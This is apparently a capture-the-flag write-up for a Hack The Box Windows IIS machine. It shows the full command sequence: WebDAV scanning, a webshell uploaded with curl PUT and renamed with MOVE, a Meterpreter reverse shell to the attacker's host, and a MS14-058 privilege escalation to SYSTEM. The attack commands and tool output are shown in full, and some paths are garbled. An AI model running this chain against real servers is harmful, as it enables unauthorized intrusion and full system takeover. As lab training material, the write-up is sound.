┌──(kali㉿kali)-[~]
└─$ nikto -host 10.10.10.15:80
+ /: Retrieved x-powered-by header: ASP.NET.
+ /nikto-test-L2AWxGEP.html: HTTP method 'PUT' allows clients to save files on the web server. See: https://portswigger.net/kb/issues/00100900_http-put-method-is-enabled
+ /nikto-test-L2AWxGEP.html: HTTP method 'DELETE' allows clients to delete files on the web server. See: https://cwe.mitre.org/data/definitions/650.html
+ HTTP method ('Allow' Header): 'DELETE' may allow clients to remove files on the web server.
WebDAV
Web Distributed Authoring and Versioning (WebDAV) is an HTTP extension designed to allow people to create and modify web sites using HTTP. It was originally started in 1996, when this didn’t seem like a terrible idea. I don’t see that often on recent HTB machines, but I did come across it in PWK/OSCP. The scan shows that the HTTP PUT method is allowed. This could potentially give us the ability to save files on the web server. Since this is a Microsoft IIS web server, the type of files it executes are ASP and ASPX. So let’s check if we’re allowed to upload these file extensions.
┌──(kali㉿kali)-[~]
└─$ davtest --url http://10.10.10.15
Sending test files
PUT shtml FAIL
PUT asp FAIL
PUT jhtml SUCCEED: http://10.10.10.15/DavTestDir_y3QbIHW88/davtest_y3QbIHW88.jhtml
PUT txt SUCCEED: http://10.10.10.15/DavTestDir_y3QbIHW88/davtest_y3QbIHW88.txt
PUT cfm SUCCEED: http://10.10.10.15/DavTestDir_y3QbIHW88/davtest_y3QbIHW88.cfm
PUT jsp SUCCEED: http://10.10.10.15/DavTestDir_y3QbIHW88/davtest_y3QbIHW88.jsp
PUT php SUCCEED: http://10.10.10.15/DavTestDir_y3QbIHW88/davtest_y3QbIHW88.php
PUT pl SUCCEED: http://10.10.10.15/DavTestDir_y3QbIHW88/davtest_y3QbIHW88.pl
PUT cgi FAIL
PUT html SUCCEED: http://10.10.10.15/DavTestDir_y3QbIHW88/davtest_y3QbIHW88.html
PUT aspx FAIL
********************************************************
Checking for test file execution
EXEC jhtml FAIL
EXEC txt SUCCEED: http://10.10.10.15/DavTestDir_y3QbIHW88/davtest_y3QbIHW88.txt
EXEC txt FAIL
EXEC cfm FAIL
EXEC jsp FAIL
EXEC php FAIL
EXEC pl FAIL
EXEC html SUCCEED: http://10.10.10.15/DavTestDir_y3QbIHW88/davtest_y3QbIHW88.html
EXEC html FAIL
Both ASP and ASPX are not allowed. However, TXT and HTML files are. Remember that the PUT HTTP method was not the only method that was allowed. We also can use the MOVE method. The MOVE method not only can be used to change file locations on the web server, but it can also be used to rename files. Let’s try to upload an HTML file on the web server and then rename it to change the extension to an ASPX file.
Upload Webshell:
The first thing I’ll need to do is upload my webshell. Kali has a simple one at /usr/share/webshells/aspx/cmdasp.aspx. I’ll grab a copy:
Why? If I upload shelly.txt again, I can see that the whitespace is all jacked up I’ll upload again, this time using --data-binary to preserve endlines and other control characters:
┌──(kali㉿kali)-[~/Desktop]
└─$ curl -X PUT http://10.10.10.15/shelly.txt --data-binary @shelly.aspx
On refreshing shelly.txt, I see it looks much cleaner
Now I’ll move the file and trigger it:
┌──(kali㉿kali)-[~/Desktop]
└─$ curl -X MOVE -H 'Destination: http://10.10.10.15/shelly.aspx' http://10.10.10.15/shelly.txt
┌──(kali㉿kali)-[~/Desktop]
└─$ curl http://10.10.10.15/shelly.aspx
And get a shell:
[*] Sending stage (175686 bytes) to 10.10.10.15
[*] Meterpreter session 1 opened (10.10.14.2:443 -> 10.10.10.15:1030) at 2023-12-13 23:46:12 -0500
Privesc:
Enumeration:
On those older boxes, I am more likely to checkout local exploits, and Metasploit has a nice module for that, post/multi/recon/local_exploit_suggester:
meterpreter > background
msf6 exploit(multi/handler) > search local_exploit
msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set session 2
msf6 post(multi/recon/local_exploit_suggester) > run
There’s a lot of stuff to go for.
1 exploit/windows/local/ms10_015_kitrap0d Yes The service is running, but could not be validated.
2 exploit/windows/local/ms14_058_track_popup_menu Yes The target appears to be vulnerable.
3 exploit/windows/local/ms14_070_tcpip_ioctl Yes The target appears to be vulnerable.
4 exploit/windows/local/ms15_051_client_copy_image Yes The target appears to be vulnerable.
5 exploit/windows/local/ms16_016_webdav Yes The service is running, but could not be validated.
6 exploit/windows/local/ms16_075_reflection Yes The target appears to be vulnerable.
7 exploit/windows/local/ppr_flatten_rec Yes The target appears to be vulnerable.
MS14-058
I’ll pick one (somewhat at random, though I like this one as it says the target appears to be vulnerable):
msf6 post(multi/recon/local_exploit_suggester) > use windows/local/ms14_058_track_popup_menu
msf6 exploit(windows/local/ms14_058_track_popup_menu) > set session 2
msf6 exploit(windows/local/ms14_058_track_popup_menu) > run
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > cd 'C:\Documents and Settings'
meterpreter > cd 'C:Administrator'
meterpreter > cd 'C:Desktop'
meterpreter > ls
meterpreter > cat root.txt